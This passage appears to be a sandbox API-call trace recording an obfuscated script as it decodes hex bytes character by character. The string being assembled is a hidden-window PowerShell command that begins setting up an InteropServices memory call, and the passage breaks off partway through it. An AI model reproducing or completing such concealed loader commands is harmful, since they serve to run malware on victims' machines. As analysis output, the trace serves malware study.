VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.922] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0071.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0071.923] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.In", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.923] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.923] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.923] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.923] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.Int", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.923] VarBstrCat (in: bstrLeft="&H", bstrRight="E4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.923] VarParseNumFromStr (in: strIn="&HE4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.923] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="ä") returned 1 [0071.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="䣵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0071.924] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.Inte", bstrRight="r", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.924] VarBstrCat (in: bstrLeft="&H", bstrRight="DE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.924] VarParseNumFromStr (in: strIn="&HDE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.924] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Þ") returned 1 [0071.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Þ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Þ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0071.924] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.Inter", bstrRight="o", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.924] VarBstrCat (in: bstrLeft="&H", bstrRight="E0", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.924] VarParseNumFromStr (in: strIn="&HE0", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.924] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="à") returned 1 [0071.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="à", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ࣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0071.925] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.Intero", bstrRight="p", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.925] VarBstrCat (in: bstrLeft="&H", bstrRight="A6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.925] VarParseNumFromStr (in: strIn="&HA6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.925] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="¦") returned 1 [0071.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¦", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¦£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0071.925] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.Interop", bstrRight="S", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.925] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.925] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.925] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.926] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropS", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.926] VarBstrCat (in: bstrLeft="&H", bstrRight="E4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.926] VarParseNumFromStr (in: strIn="&HE4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.926] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="ä") returned 1 [0071.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="䣵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0071.926] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropSe", bstrRight="r", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.926] VarBstrCat (in: bstrLeft="&H", bstrRight="EC", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.926] VarParseNumFromStr (in: strIn="&HEC", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.926] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="ì") returned 1 [0071.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ì", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="죵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0071.927] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropSer", bstrRight="v", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.927] VarBstrCat (in: bstrLeft="&H", bstrRight="D2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.927] VarParseNumFromStr (in: strIn="&HD2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.927] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0071.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0071.927] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServ", bstrRight="i", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.927] VarBstrCat (in: bstrLeft="&H", bstrRight="C6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.927] VarParseNumFromStr (in: strIn="&HC6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.927] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Æ") returned 1 [0071.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Æ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0071.928] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServi", bstrRight="c", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.928] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.928] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.928] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.928] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServic", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.928] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.928] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.928] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0071.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0071.929] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropService", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.929] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.929] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.929] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0071.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0071.929] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.929] VarBstrCat (in: bstrLeft="&H", bstrRight="9A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.929] VarParseNumFromStr (in: strIn="&H9A", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.929] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="š") returned 1 [0071.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="š", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x9a£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0071.930] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.", bstrRight="M", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.930] VarBstrCat (in: bstrLeft="&H", bstrRight="C2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.930] VarParseNumFromStr (in: strIn="&HC2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.930] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Â") returned 1 [0071.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0071.930] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.M", bstrRight="a", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.930] VarBstrCat (in: bstrLeft="&H", bstrRight="E4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.930] VarParseNumFromStr (in: strIn="&HE4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.930] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="ä") returned 1 [0071.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="䣵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0071.931] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Ma", bstrRight="r", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.931] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.931] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.931] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0071.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0071.931] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Mar", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.931] VarBstrCat (in: bstrLeft="&H", bstrRight="D0", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.931] VarParseNumFromStr (in: strIn="&HD0", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.931] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ð") returned 1 [0071.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ð", cchWideChar=1, 